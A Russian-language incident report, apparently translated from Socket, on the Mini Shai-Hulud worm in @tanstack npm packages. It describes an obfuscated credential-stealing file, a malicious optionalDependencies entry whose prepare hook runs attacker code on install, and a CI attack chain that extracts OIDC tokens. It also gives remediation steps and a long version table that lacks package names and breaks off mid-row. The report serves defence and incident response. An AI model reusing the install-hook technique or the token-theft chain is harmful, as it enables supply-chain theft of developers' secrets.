
Команда Socket Threat Research обнаружила компрометацию 84 npm-пакетов в пространстве @tanstack: в них внедрили вредоносный имплант Mini Shai-Hulud, нацеленный на кражу учётных данных и секретов из CI/CD-сред, включая GitHub Actions.
Атака особенно опасна тем, что вредонос автоматически запускается при установке зависимостей через lifecycle-хуки npm, а среди затронутых пакетов есть крайне популярные — например, @tanstack/react-router с более чем 12 млн загрузок в неделю. Всё это делает инцидент серьёзной угрозой для безопасности цепочки поставок ПО.
В статье подробнее разберём механизм заражения, риски для разработчиков и компаний, а также первоочередные меры реагирования — от проверки зависимостей до ротации секретов и аудита CI-пайплайнов.
Оригинал статьи: Socket Research Team.
Принцип работы червя
Все вредоносные версии пакетов содержат новый файл router_init.js, размером около 2,3 МБ. Он сильно обфусцирован с использованием шаблонов, характерных для javascript-obfuscator (ротация массивов строк, обращения к идентификаторам в hex-формате вроде _0x253b, выравнивание потока управления внутри автоматов состояний while(!![]){}, внедрение мёртвого кода). Это заметно отличает вредонос от обычных минификаторов, таких как Terser, esbuild или swc.
Файл включает:
демонизацию на основе spawn с защитой от повторного входа через DAEMONIZED и отделённым stdio;
доступ к переменным окружения GITHUB_* (секреты, доступные только в Actions/CI, включая токены и идентификатор пользователя/актора);
промежуточное размещение данных во временной директории с жизненным циклом чтение/запись/удаление;
а также операции удалённой потоковой передачи/отправки данных.
Недавно опубликованные версии также содержат следующее добавленное поле optionalDependencies в файле package.json, которое указывает на коммит в репозитории TanStack/router с хешем коммита 79ac49eedf774dd4b0cfa308722bc463cfe5885c.
"optionalDependencies": { "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c" }
Этот коммит вызывает серьезные подозрения. Он автономен и не имеет родительской истории. В него добавлены всего два файла: package.json и tanstack_runner.js. Файл package.json определяет пакет с именем @tanstack/setup и регистрирует хук жизненного цикла prepare, который выполняет команду bun run tanstack_runner.js && exit 1. Поскольку хуки жизненного цикла npm запускаются автоматически при установке зависимостей на основе git, это позволяет запускать произвольный код на рабочих станциях разработчиков или в системах CI во время установки.
Автор коммита — аккаунт GitHub voicproducoes, чьи публичные репозитории включают проекты с названиями типа «A Mini Shai-Hulud has Appeared». Это может указывать на то, что этот взлом, вероятно, связан с недавними крупномасштабными кампаниями по распространению вредоносного ПО в цепочке поставок npm, а также свидетельствует о том, что аккаунт был скомпрометирован.
В постмортеме TanStack компрометация объясняется цепочкой атак на GitHub Actions, включающей паттерн pull_request_target «Pwn Request» → отравление кэша GitHub Actions через границу доверия fork-to-base → извлечение токена OIDC из памяти во время выполнения из процесса GitHub Actions runner. Команда TanStack заявила, что токены npm не были украдены, а рабочий процесс публикации npm не был скомпрометирован. Вместо этого вредоносный код запустили в CI, после чего пакеты были опубликованы в npm от имени проекта через доверенную OIDC-связку.
Как проверить свою систему и минимизировать последствия взлома:
Проведите первичную проверку:
Выполните shasum -a 256 для всех файлов router_init.js в дереве ваших зависимостей. Сверьте результат с хешем:
ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c.-
Смените все секреты на любых системах, где была установлена затронутая версия @tanstack/*.
Приоритет такой:токены npm;
GitHub PAT-токены / OIDC-доверия;
учётные данные AWS (как статические ключи, так и роли инстансов);
токены Vault;
токены service account в Kubernetes.
Отзовите права федерации OIDC для GitHub Actions у всех npm-пакетов, опубликованных из затронутых репозиториев; восстанавливайте их только после подтверждения, что workflow публикации не был изменён злоумышленниками.
Проверьте директории .claude/ и .vscode/
во всех домашних каталогах разработчиков и в корнях проектов. Удалите router_runtime.js, setup.mjs, а также любые незнакомые записи в хуках settings.json или в tasks.json.Просмотрите последние коммиты в ваших GitHub-репозиториях от автора claude@users.noreply.github.com, если они не были созданы через легитимное GitHub-приложение Claude Code.
Чтобы найти такие коммиты, используйте:
git log --all --author=claude@users.noreply.github.com
Если такие коммиты обнаружены — отмените их и выполните force-push.Проверьте логи публикации npm на предмет неожиданных публикаций пакетов вашей организации, особенно версий, опубликованных из раннеров GitHub Actions без участия члена команды.
Заблокируйте исходящие соединения к filev2.getsession[.]org
и связанной инфраструктуре Session на периметре сети, если она не используется в вашей работе. Поскольку диапазон IP-адресов сети сервисных узлов Session распределённый, блокировка на уровне DNS для .getsession.org будет эффективнее, чем правила по IP.Внедрите Subresource Integrity или проверку lock-файлов пакетов
с зафиксированным полем integrity для всех пакетов @tanstack/* в package-lock.json или pnpm-lock.yaml. Любая версия с несовпадением хеша должна блокировать CI.Ограничьте области действия OIDC-токенов в workflow GitHub Actions:
установите permissions: id-token: none во всех workflow, которым OIDC-публикация явно не нужна, и выдавайте разрешение id-token: write только конкретной задаче, которая выполняет публикацию.Не полагайтесь только на бейджи происхождения Sigstore как на показатель безопасности.
Этот вредоносный имплант показывает, что злоумышленник, получивший возможность выполнять код в GitHub Actions, способен создавать формально корректные Sigstore-аттестации для вредоносных пакетов.
Ниже приведена таблица, которая поможет отследить скомпрометированные артефакты пакетов во всех волнах кампании Mini Shai-Hulud.
Список пакетов
Ecosystem |
Namespace |
Name |
Version |
Published |
Detected |
|---|---|---|---|---|---|
npm |
1.1.7 |
2026-05-11T23:52:17.867Z |
2026-05-11T23:57:49.768Z |
||
npm |
0.6.8 |
2026-05-11T23:52:08.323Z |
2026-05-11T23:57:46.061Z |
||
npm |
0.5.10 |
2026-05-11T23:51:55.267Z |
2026-05-11T23:57:43.472Z |
||
npm |
0.8.8 |
2026-05-11T23:52:23.156Z |
2026-05-11T23:57:40.672Z |
||
npm |
0.7.8 |
2026-05-11T23:52:18.361Z |
2026-05-11T23:57:39.719Z |
||
npm |
0.5.6 |
2026-05-11T23:51:54.739Z |
2026-05-11T23:57:36.860Z |
||
npm |
0.4.7 |
2026-05-11T23:51:54.457Z |
2026-05-11T23:57:31.082Z |
||
npm |
0.5.8 |
2026-05-11T23:51:54.371Z |
2026-05-11T23:57:31.028Z |
||
npm |
0.9.5 |
2026-05-11T23:51:55.508Z |
2026-05-11T23:57:30.431Z |
||
npm |
0.3.6 |
2026-05-11T23:51:54.445Z |
2026-05-11T23:57:29.578Z |
||
npm |
0.5.7 |
2026-05-11T23:52:09.491Z |
2026-05-11T23:57:27.971Z |
||
npm |
0.7.7 |
2026-05-11T23:52:12.606Z |
2026-05-11T23:57:27.660Z |
||
npm |
0.4.6 |
2026-05-11T23:51:54.173Z |
2026-05-11T23:57:26.950Z |
||
npm |
0.5.6 |
2026-05-11T23:51:55.196Z |
2026-05-11T23:57:26.346Z |
||
npm |
0.3.10 |
2026-05-11T23:51:51.623Z |
2026-05-11T23:56:50.086Z |
||
npm |
0.4.6 |
2026-05-11T23:51:49.611Z |
2026-05-11T23:56:37.581Z |
||
npm |
0.6.6 |
2026-05-11T23:51:52.328Z |
2026-05-11T23:56:34.933Z |
||
npm |
3.0.5 |
2026-05-11T23:51:53.011Z |
2026-05-11T23:56:27.547Z |
||
npm |
0.8.5 |
2026-05-11T23:51:52.501Z |
2026-05-11T23:56:25.961Z |
||
npm |
0.5.6 |
2026-05-11T23:51:51.316Z |
2026-05-11T23:56:25.149Z |
||
npm |
0.8.5 |
2026-05-11T23:51:53.026Z |
2026-05-11T23:56:24.935Z |
||
npm |
0.4.8 |
2026-05-11T23:51:52.532Z |
2026-05-11T23:56:24.723Z |
||
npm |
0.6.8 |
2026-05-11T23:51:50.572Z |
2026-05-11T23:56:24.688Z |
||
npm |
0.5.8 |
2026-05-11T23:51:56.453Z |
2026-05-11T23:53:54.188Z |
||
npm |
2.2.4 |
2026-05-11T22:53:59.784Z |
2026-05-11T23:07:59.525Z |
||
npm |
0.9.4 |
2026-05-11T22:57:02.112Z |
2026-05-11T23:02:54.383Z |
||
npm |
0.8.3 |
2026-05-11T22:55:28.884Z |
2026-05-11T23:02:12.143Z |
||
npm |
0.1.18 |
2026-05-11T22:55:03.941Z |
2026-05-11T23:02:09.731Z |
||
npm |
0.5.5 |
2026-05-11T22:55:28.875Z |
2026-05-11T23:02:07.002Z |
||
npm |
3.0.4 |
2026-05-11T22:57:01.936Z |
2026-05-11T23:02:05.790Z |
||
npm |
1.0.12 |
2026-05-11T22:56:34.548Z |
2026-05-11T23:02:05.743Z |
||
npm |
0.5.7 |
2026-05-11T22:57:02.533Z |
2026-05-11T23:02:05.462Z |
||
npm |
0.6.5 |
2026-05-11T22:57:02.412Z |
2026-05-11T23:02:05.321Z |
||
npm |
1.3.7 |
2026-05-11T22:56:34.934Z |
2026-05-11T23:02:05.085Z |
||
npm |
0.1.3 |
2026-05-11T22:55:40.813Z |
2026-05-11T23:02:05.061Z |
||
npm |
1.0.3 |
2026-05-11T22:55:41.147Z |
2026-05-11T23:02:04.584Z |
||
npm |
1.1.5 |
2026-05-11T22:55:28.996Z |
2026-05-11T23:02:04.442Z |
||
npm |
0.0.7 |
2026-05-11T22:55:49.498Z |
2026-05-11T23:02:04.366Z |
||
npm |
0.9.3 |
2026-05-11T22:55:28.769Z |
2026-05-11T23:02:04.362Z |
||
npm |
0.5.5 |
2026-05-11T22:57:01.980Z |
2026-05-11T23:02:04.332Z |
||
npm |
0.6.7 |
2026-05-11T22:57:02.842Z |
2026-05-11T23:02:04.318Z |
||
npm |
0.5.6 |
2026-05-11T22:57:02.877Z |
2026-05-11T23:02:04.270Z |
||
npm |
1.3.6 |
2026-05-11T22:54:58.300Z |
2026-05-11T23:02:04.177Z |
||
npm |
0.1.29 |
2026-05-11T22:55:49.701Z |
2026-05-11T23:02:04.162Z |
||
npm |
0.8.6 |
2026-05-11T22:55:28.892Z |
2026-05-11T23:02:04.045Z |
||
npm |
0.4.7 |
2026-05-11T22:57:02.414Z |
2026-05-11T23:02:04.006Z |
||
npm |
0.7.7 |
2026-05-11T22:57:02.128Z |
2026-05-11T23:02:04.004Z |
||
npm |
0.5.8 |
2026-05-11T22:55:28.053Z |
2026-05-11T23:02:03.915Z |
||
npm |
0.4.6 |
2026-05-11T22:55:28.726Z |
2026-05-11T23:02:03.784Z |
||
npm |
0.5.7 |
2026-05-11T22:57:02.225Z |
2026-05-11T23:02:03.739Z |
||
npm |
0.5.5 |
2026-05-11T22:57:02.363Z |
2026-05-11T23:02:03.705Z |
||
npm |
0.1.19 |
2026-05-11T22:56:39.843Z |
2026-05-11T23:02:03.702Z |
||
npm |
0.1.7 |
2026-05-11T22:56:34.621Z |
2026-05-11T23:02:03.699Z |
||
npm |
0.4.4 |
2026-05-11T22:55:28.758Z |
2026-05-11T23:02:03.673Z |
||
npm |
1.0.5 |
2026-05-11T22:54:58.678Z |
2026-05-11T23:02:03.656Z |
||
npm |
0.4.5 |
2026-05-11T22:57:02.453Z |
2026-05-11T23:02:03.632Z |
||
npm |
0.3.5 |
2026-05-11T22:57:00.619Z |
2026-05-11T23:02:03.631Z |
||
npm |
0.1.8 |
2026-05-11T22:55:49.690Z |
2026-05-11T23:02:03.609Z |
||
npm |
1.0.3 |
2026-05-11T22:55:40.903Z |
2026-05-11T23:02:03.575Z |
||
npm |
0.5.6 |
2026-05-11T22:55:28.496Z |
2026-05-11T23:02:03.556Z |
||
npm |
0.5.4 |
2026-05-11T22:55:28.558Z |
2026-05-11T23:02:03.554Z |
||
npm |
1.0.3 |
2026-05-11T22:55:41.066Z |
2026-05-11T23:02:03.537Z |
||
npm |
0.4.5 |
2026-05-11T22:57:00.606Z |
2026-05-11T23:02:03.420Z |
||
npm |
1.1.6 |
2026-05-11T22:57:02.259Z |
2026-05-11T23:02:03.395Z |
||
npm |
0.3.9 |
2026-05-11T22:57:01.962Z |
2026-05-11T23:02:03.360Z |
||
npm |
0.3.8 |
2026-05-11T22:55:28.582Z |
2026-05-11T23:02:03.346Z |
||
npm |
0.2.3 |
2026-05-11T22:55:41.018Z |
2026-05-11T23:02:03.323Z |
||
npm |
0.4.4 |
2026-05-11T22:55:27.297Z |
2026-05-11T23:02:03.253Z |
||
npm |
0.8.3 |
2026-05-11T22:55:34.086Z |
2026-05-11T23:02:03.253Z |
||
npm |
0.8.7 |
2026-05-11T22:57:03.428Z |
2026-05-11T23:02:03.153Z |
||
npm |
1.0.6 |
2026-05-11T22:56:34.596Z |
2026-05-11T23:02:03.148Z |
||
npm |
0.0.7 |
2026-05-11T22:55:49.846Z |
2026-05-11T23:02:03.141Z |
||
npm |
0.8.3 |
2026-05-11T22:55:28.644Z |
2026-05-11T23:02:03.130Z |
||
npm |
0.7.5 |
2026-05-11T22:55:28.927Z |
2026-05-11T23:02:03.070Z |
||
npm |
0.8.4 |
2026-05-11T22:57:01.236Z |
2026-05-11T23:02:02.985Z |
||
npm |
0.4.5 |
2026-05-11T22:55:27.445Z |
2026-05-11T23:02:02.981Z |
||
npm |
0.8.4 |
2026-05-11T22:57:02.254Z |
2026-05-11T23:02:02.970Z |
||
npm |
0.5.4 |
2026-05-11T22:55:27.349Z |
2026-05-11T23:02:02.961Z |
||
npm |
0.5.4 |
2026-05-11T22:55:28.513Z |
2026-05-11T23:02:02.960Z |
||
npm |
0.3.4 |
2026-05-11T22:55:27.325Z |
2026-05-11T23:02:02.949Z |
||
npm |
0.5.5 |
2026-05-11T22:57:02.484Z |
2026-05-11T23:02:02.867Z |
||
npm |
0.2.3 |
2026-05-11T22:55:41.308Z |
2026-05-11T23:02:02.864Z |
||
npm |
1.0.3 |
2026-05-11T22:55:41.144Z |
2026-05-11T23:02:02.849Z |
||
npm |
0.4.6 |
2026-05-11T22:57:02.066Z |
2026-05-11T23:02:02.845Z |
||
npm |
1.0.3 |
2026-05-11T22:55:41.258Z |
2026-05-11T23:02:02.841Z |
||
npm |
0.6.7 |
2026-05-11T22:57:02.601Z |
2026-05-11T23:02:02.832Z |
||
npm |
0.7.6 |
2026-05-11T22:55:28.812Z |
2026-05-11T23:02:02.832Z |
||
npm |
0.7.6 |
2026-05-11T22:57:02.647Z |
2026-05-11T23:02:02.766Z |
||
npm |
0.6.4 |
2026-05-11T22:55:28.641Z |
2026-05-11T23:02:02.723Z |
||
npm |
1.0.3 |
2026-05-11T22:55:40.822Z |
2026-05-11T23:02:02.715Z |
||
npm |
0.5.6 |
2026-05-11T22:55:28.609Z |
2026-05-11T23:02:02.573Z |
||
npm |
1.0.11 |
2026-05-11T22:54:58.281Z |
2026-05-11T23:02:02.571Z |
||
npm |
0.1.6 |
2026-05-11T22:54:58.295Z |
2026-05-11T23:02:02.417Z |
||
npm |
0.8.4 |
2026-05-11T22:57:08.421Z |
2026-05-11T23:02:02.352Z |
||
npm |
0.5.9 |
2026-05-11T22:57:02.061Z |
2026-05-11T23:02:02.305Z |
||
npm |
3.0.3 |
2026-05-11T22:55:28.239Z |
2026-05-11T23:02:02.298Z |
||
npm |
0.6.6 |
2026-05-11T22:55:28.857Z |
2026-05-11T23:02:02.199Z |
||
npm |
0.6.6 |
2026-05-11T22:55:28.667Z |
2026-05-11T23:02:01.985Z |
||
npm |
0.2.3 |
2026-05-11T22:55:40.928Z |
2026-05-11T23:02:01.971Z |
||
npm |
2.2.3 |
2026-05-11T22:49:23.971Z |
2026-05-11T23:00:13.131Z |
||
npm |
2.2.2 |
2026-05-11T22:45:38.894Z |
2026-05-11T23:00:07.535Z |
||
npm |
1.7.3 |
2026-05-11T22:53:59.333Z |
2026-05-11T22:59:58.941Z |
||
npm |
1.7.3 |
2026-05-11T22:53:59.298Z |
2026-05-11T22:59:56.325Z |
||
npm |
1.0.10 |
2026-05-11T22:48:16.026Z |
2026-05-11T22:57:59.629Z |
||
npm |
0.1.5 |
2026-05-11T22:48:16.612Z |
2026-05-11T22:55:59.325Z |
||
npm |
0.0.6 |
2026-05-11T22:49:11.686Z |
2026-05-11T22:55:05.701Z |
||
npm |
0.1.28 |
2026-05-11T22:49:11.836Z |
2026-05-11T22:55:04.661Z |
||
npm |
0.1.7 |
2026-05-11T22:49:11.930Z |
2026-05-11T22:55:02.751Z |
||
npm |
0.9.2 |
2026-05-11T22:48:48.133Z |
2026-05-11T22:55:01.646Z |
||
npm |
1.1.4 |
2026-05-11T22:48:48.947Z |
2026-05-11T22:54:57.553Z |
||
npm |
0.0.6 |
2026-05-11T22:49:11.953Z |
2026-05-11T22:54:56.052Z |
||
npm |
0.5.4 |
2026-05-11T22:48:47.268Z |
2026-05-11T22:54:38.668Z |
||
npm |
0.2.2 |
2026-05-11T22:49:01.823Z |
2026-05-11T22:54:29.023Z |
||
npm |
0.8.2 |
2026-05-11T22:48:48.165Z |
2026-05-11T22:54:28.666Z |
||
npm |
0.4.5 |
2026-05-11T22:48:46.938Z |
2026-05-11T22:54:27.455Z |
||
npm |
1.0.2 |
2026-05-11T22:49:02.277Z |
2026-05-11T22:54:26.603Z |
||
npm |
0.8.2 |
2026-05-11T22:48:46.596Z |
2026-05-11T22:54:26.511Z |
||
npm |
1.0.2 |
2026-05-11T22:49:01.803Z |
2026-05-11T22:54:26.283Z |
||
npm |
0.5.5 |
2026-05-11T22:48:48.420Z |
2026-05-11T22:54:24.687Z |
||
npm |
0.1.2 |
2026-05-11T22:49:01.999Z |
2026-05-11T22:54:22.314Z |
||
npm |
1.0.2 |
2026-05-11T22:49:01.944Z |
2026-05-11T22:54:16.459Z |
||
npm |
0.5.5 |
2026-05-11T22:48:48.200Z |
2026-05-11T22:54:16.410Z |
||
npm |
0.6.5 |
2026-05-11T22:48:48.168Z |
2026-05-11T22:54:16.359Z |
||
npm |
0.3.3 |
2026-05-11T22:48:46.595Z |
2026-05-11T22:54:16.297Z |
||
npm |
1.0.2 |
2026-05-11T22:49:02.296Z |
2026-05-11T22:54:16.271Z |
||
npm |
0.5.3 |
2026-05-11T22:48:46.708Z |
2026-05-11T22:54:15.728Z |
||
npm |
0.5.7 |
2026-05-11T22:48:47.708Z |
2026-05-11T22:54:15.717Z |
||
npm |
0.5.3 |
2026-05-11T22:48:46.466Z |
2026-05-11T22:54:15.231Z |
||
npm |
1.0.2 |
2026-05-11T22:49:02.207Z |
2026-05-11T22:54:14.225Z |
||
npm |
0.4.3 |
2026-05-11T22:48:46.729Z |
2026-05-11T22:54:12.369Z |
||
npm |
0.7.5 |
2026-05-11T22:48:48.424Z |
2026-05-11T22:54:11.874Z |
||
npm |
0.5.3 |
2026-05-11T22:48:47.085Z |
2026-05-11T22:54:11.822Z |
||
npm |
1.0.2 |
2026-05-11T22:49:02.103Z |
2026-05-11T22:54:10.896Z |
||
npm |
0.2.2 |
2026-05-11T22:49:02.730Z |
2026-05-11T22:54:10.001Z |
||
npm |
3.0.2 |
2026-05-11T22:48:47.183Z |
2026-05-11T22:54:09.053Z |
||
npm |
0.8.2 |
2026-05-11T22:48:53.510Z |
2026-05-11T22:54:04.966Z |
||
npm |
0.4.4 |
2026-05-11T22:48:47.446Z |
2026-05-11T22:54:04.577Z |
||
npm |
0.7.4 |
2026-05-11T22:48:47.824Z |
2026-05-11T22:54:03.542Z |
||
npm |
0.6.5 |
2026-05-11T22:48:47.452Z |
2026-05-11T22:54:03.470Z |
||
npm |
0.3.7 |
2026-05-11T22:48:48.123Z |
2026-05-11T22:54:03.434Z |
||
npm |
0.8.5 |
2026-05-11T22:48:48.127Z |
2026-05-11T22:54:03.079Z |
||
npm |
0.6.3 |
2026-05-11T22:48:46.109Z |
2026-05-11T22:54:02.909Z |
||
npm |
0.4.3 |
2026-05-11T22:48:46.260Z |
2026-05-11T22:54:02.822Z |
||
npm |
0.1.17 |
2026-05-11T22:48:21.830Z |
2026-05-11T22:53:32.050Z |
||
npm |
1.3.5 |
2026-05-11T22:48:16.173Z |
2026-05-11T22:53:06.549Z |
||
npm |
1.0.4 |
2026-05-11T22:48:15.891Z |
2026-05-11T22:53:06.317Z |
||
npm |
1.7.1 |
2026-05-11T22:45:38.309Z |
2026-05-11T22:52:55.863Z |
||
npm |
1.7.2 |
2026-05-11T22:49:23.487Z |
2026-05-11T22:52:46.401Z |
||
npm |
1.7.1 |
2026-05-11T22:45:37.951Z |
2026-05-11T22:52:46.040Z |
||
npm |
1.7.2 |
2026-05-11T22:49:22.926Z |
2026-05-11T22:52:45.808Z |
||
npm |
0.2.2 |
2026-05-11T22:49:01.926Z |
2026-05-11T22:51:41.014Z |
||
npm |
0.4.22 |
2026-05-11T22:44:30.005Z |
2026-05-11T22:51:33.411Z |
||
npm |
0.28.3 |
2026-05-11T22:44:26.365Z |
2026-05-11T22:49:24.785Z |
||
npm |
0.28.3 |
2026-05-11T22:44:26.862Z |
2026-05-11T22:49:22.940Z |
||
npm |
1.1.3 |
2026-05-11T22:17:07.042Z |
2026-05-11T22:26:29.606Z |
||
npm |
3.0.1 |
2026-05-11T22:17:05.368Z |
2026-05-11T22:25:21.661Z |
||
npm |
0.9.1 |
2026-05-11T22:17:05.628Z |
2026-05-11T22:23:27.562Z |
||
npm |
0.8.1 |
2026-05-11T22:17:10.494Z |
2026-05-11T22:23:24.876Z |
||
npm |
0.3.6 |
2026-05-11T22:17:05.716Z |
2026-05-11T22:22:35.970Z |
||
npm |
0.4.2 |
2026-05-11T22:17:05.568Z |
2026-05-11T22:22:34.995Z |
||
npm |
0.5.2 |
2026-05-11T22:17:05.323Z |
2026-05-11T22:22:32.124Z |
||
npm |
0.5.6 |
2026-05-11T22:17:05.709Z |
2026-05-11T22:22:28.279Z |
||
npm |
0.5.4 |
2026-05-11T22:17:05.445Z |
2026-05-11T22:22:28.005Z |
||
npm |
0.5.4 |
2026-05-11T22:17:05.778Z |
2026-05-11T22:22:26.187Z |
||
npm |
0.5.2 |
2026-05-11T22:17:05.325Z |
2026-05-11T22:22:25.502Z |
||
npm |
0.8.4 |
2026-05-11T22:17:06.431Z |
2026-05-11T22:22:24.075Z |
||
npm |
0.4.3 |
2026-05-11T22:17:05.920Z |
2026-05-11T22:22:23.824Z |
||
npm |
0.4.2 |
2026-05-11T22:17:05.491Z |
2026-05-11T22:22:23.421Z |
||
npm |
0.8.1 |
2026-05-11T22:17:05.383Z |
2026-05-11T22:22:23.327Z |
||
npm |
0.6.4 |
2026-05-11T22:17:05.889Z |
2026-05-11T22:22:22.633Z |
||
npm |
0.6.4 |
2026-05-11T22:17:05.249Z |
2026-05-11T22:22:22.343Z |
||
npm |
0.5.2 |
2026-05-11T22:17:05.216Z |
2026-05-11T22:22:22.267Z |
||
npm |
0.3.2 |
2026-05-11T22:17:05.320Z |
2026-05-11T22:22:21.857Z |
||
npm |
0.4.4 |
2026-05-11T22:17:05.643Z |
2026-05-11T22:22:21.309Z |
||
npm |
0.7.3 |
2026-05-11T22:17:05.799Z |
2026-05-11T22:22:20.493Z |
||
npm |
0.5.3 |
2026-05-11T22:17:06.007Z |
2026-05-11T22:22:19.994Z |
||
npm |
0.6.2 |
2026-05-11T22:17:05.104Z |
2026-05-11T22:22:19.198Z |
||
npm |
0.8.1 |
2026-05-11T22:17:05.299Z |
2026-05-11T22:22:19.182Z |
||
npm |
0.7.4 |
2026-05-11T22:17:05.606Z |
2026-05-11T22:22:16.423Z |
||
npm |
1.0.3 |
2026-05-11T22:09:06.157Z |
2026-05-11T22:15:27.507Z |
||
npm |
1.3.4 |
2026-05-11T22:09:06.815Z |
2026-05-11T22:15:26.692Z |
||
npm |
0.1.4 |
2026-05-11T22:09:06.563Z |
2026-05-11T22:15:18.214Z |
||
npm |
1.0.9 |
2026-05-11T22:09:06.445Z |
2026-05-11T22:15:17.260Z |
||
npm |
0.2.1 |
2026-05-11T21:41:50.843Z |
2026-05-11T21:47:59.181Z |
||
npm |
0.1.1 |
2026-05-11T21:41:51.077Z |
2026-05-11T21:47:57.286Z |
||
npm |
1.0.1 |
2026-05-11T21:41:50.854Z |
2026-05-11T21:47:54.077Z |
||
npm |
1.0.1 |
2026-05-11T21:41:50.660Z |
2026-05-11T21:47:49.567Z |
||
npm |
1.0.1 |
2026-05-11T21:41:51.402Z |
2026-05-11T21:47:41.870Z |
||
npm |
0.2.1 |
2026-05-11T21:41:51.428Z |
2026-05-11T21:47:35.293Z |
||
npm |
1.0.1 |
2026-05-11T21:41:51.035Z |
2026-05-11T21:47:33.965Z |
||
npm |
1.0.1 |
2026-05-11T21:41:50.750Z |
2026-05-11T21:47:31.829Z |
||
npm |
0.2.1 |
2026-05-11T21:41:50.659Z |
2026-05-11T21:47:31.497Z |
||
npm |
1.0.1 |
2026-05-11T21:41:50.732Z |
2026-05-11T21:47:31.415Z |
||
npm |
4.24.5 |
2026-05-11T21:00:26.711Z |
2026-05-11T21:28:13.200Z |
||
npm |
0.0.18 |
2026-05-11T21:00:21.185Z |
2026-05-11T21:13:25.305Z |
||
npm |
5.9.2 |
2026-05-11T21:00:26.961Z |
2026-05-11T21:09:07.692Z |
||
npm |
2.16.2 |
2026-05-11T21:00:21.184Z |
2026-05-11T21:08:42.661Z |
||
npm |
0.0.12 |
2026-05-11T21:00:20.652Z |
2026-05-11T21:08:19.863Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.022Z |
2026-05-11T21:08:02.753Z |
||
npm |
1.3.4 |
2026-05-11T21:00:22.132Z |
2026-05-11T21:07:32.886Z |
||
npm |
0.0.7 |
2026-05-11T21:00:20.650Z |
2026-05-11T21:07:29.090Z |
||
npm |
1.0.2 |
2026-05-11T21:00:20.932Z |
2026-05-11T21:07:24.909Z |
||
npm |
1.5.7 |
2026-05-11T21:00:26.227Z |
2026-05-11T21:07:21.498Z |
||
npm |
1.2.3 |
2026-05-11T21:00:21.133Z |
2026-05-11T21:07:08.052Z |
||
npm |
1.0.2 |
2026-05-11T21:00:22.740Z |
2026-05-11T21:07:06.258Z |
||
npm |
0.0.19 |
2026-05-11T21:00:20.911Z |
2026-05-11T21:07:04.415Z |
||
npm |
1.0.1 |
2026-05-11T21:00:22.990Z |
2026-05-11T21:06:55.085Z |
||
npm |
0.1.12 |
2026-05-11T21:00:20.678Z |
2026-05-11T21:06:53.254Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.798Z |
2026-05-11T21:06:51.036Z |
||
npm |
0.1.1 |
2026-05-11T21:00:19.922Z |
2026-05-11T21:06:50.918Z |
||
npm |
0.0.34 |
2026-05-11T21:00:20.716Z |
2026-05-11T21:06:50.722Z |
||
npm |
0.0.16 |
2026-05-11T21:00:21.364Z |
2026-05-11T21:06:49.630Z |
||
npm |
0.3.1 |
2026-05-11T21:00:20.534Z |
2026-05-11T21:06:48.861Z |
||
npm |
1.0.2 |
2026-05-11T21:00:23.016Z |
2026-05-11T21:06:48.647Z |
||
npm |
0.1.1 |
2026-05-11T21:00:20.557Z |
2026-05-11T21:06:46.371Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.868Z |
2026-05-11T21:06:46.274Z |
||
npm |
1.0.2 |
2026-05-11T21:00:21.200Z |
2026-05-11T21:06:46.178Z |
||
npm |
0.0.9 |
2026-05-11T21:00:20.380Z |
2026-05-11T21:06:45.549Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.586Z |
2026-05-11T21:06:45.420Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.686Z |
2026-05-11T21:06:45.292Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.034Z |
2026-05-11T21:06:45.197Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.838Z |
2026-05-11T21:06:43.995Z |
||
npm |
1.0.11 |
2026-05-11T21:00:22.993Z |
2026-05-11T21:06:43.421Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.819Z |
2026-05-11T21:06:43.283Z |
||
npm |
1.0.1 |
2026-05-11T21:00:22.134Z |
2026-05-11T21:06:43.269Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.005Z |
2026-05-11T21:06:42.123Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.742Z |
2026-05-11T21:06:41.710Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.510Z |
2026-05-11T21:06:41.541Z |
||
npm |
0.0.19 |
2026-05-11T21:00:20.953Z |
2026-05-11T21:06:39.866Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.070Z |
2026-05-11T21:06:39.742Z |
||
npm |
0.3.1 |
2026-05-11T21:00:20.485Z |
2026-05-11T21:06:39.437Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.202Z |
2026-05-11T21:06:38.605Z |
||
npm |
0.0.9 |
2026-05-11T21:00:20.411Z |
2026-05-11T21:06:36.730Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.884Z |
2026-05-11T21:06:35.096Z |
||
npm |
0.1.1 |
2026-05-11T21:00:20.671Z |
2026-05-11T21:06:34.043Z |
||
npm |
1.0.6 |
2026-05-11T21:00:20.317Z |
2026-05-11T21:06:33.792Z |
||
npm |
0.0.34 |
2026-05-11T21:00:20.891Z |
2026-05-11T21:06:33.744Z |
||
npm |
0.1.6 |
2026-05-11T21:00:22.054Z |
2026-05-11T21:06:33.647Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.107Z |
2026-05-11T21:06:33.211Z |
||
npm |
0.0.35 |
2026-05-11T21:00:20.828Z |
2026-05-11T21:06:32.760Z |
||
npm |
1.0.1 |
2026-05-11T21:00:19.848Z |
2026-05-11T21:06:32.130Z |
||
npm |
1.0.1 |
2026-05-11T21:00:20.535Z |
2026-05-11T21:06:31.764Z |
||
npm |
1.1.16 |
2026-05-11T21:00:21.184Z |
2026-05-11T21:06:31.477Z |
||
npm |
1.0.2 |
2026-05-11T21:00:21.742Z |
2026-05-11T21:06:30.535Z |
||
npm |
0.1.1 |
2026-05-11T21:00:20.182Z |
2026-05-11T21:06:29.906Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.041Z |
2026-05-11T21:06:29.873Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.624Z |
2026-05-11T21:06:28.844Z |
||
npm |
0.0.19 |
2026-05-11T21:00:21.065Z |
2026-05-11T21:06:28.523Z |
||
npm |
1.0.1 |
2026-05-11T21:00:21.587Z |
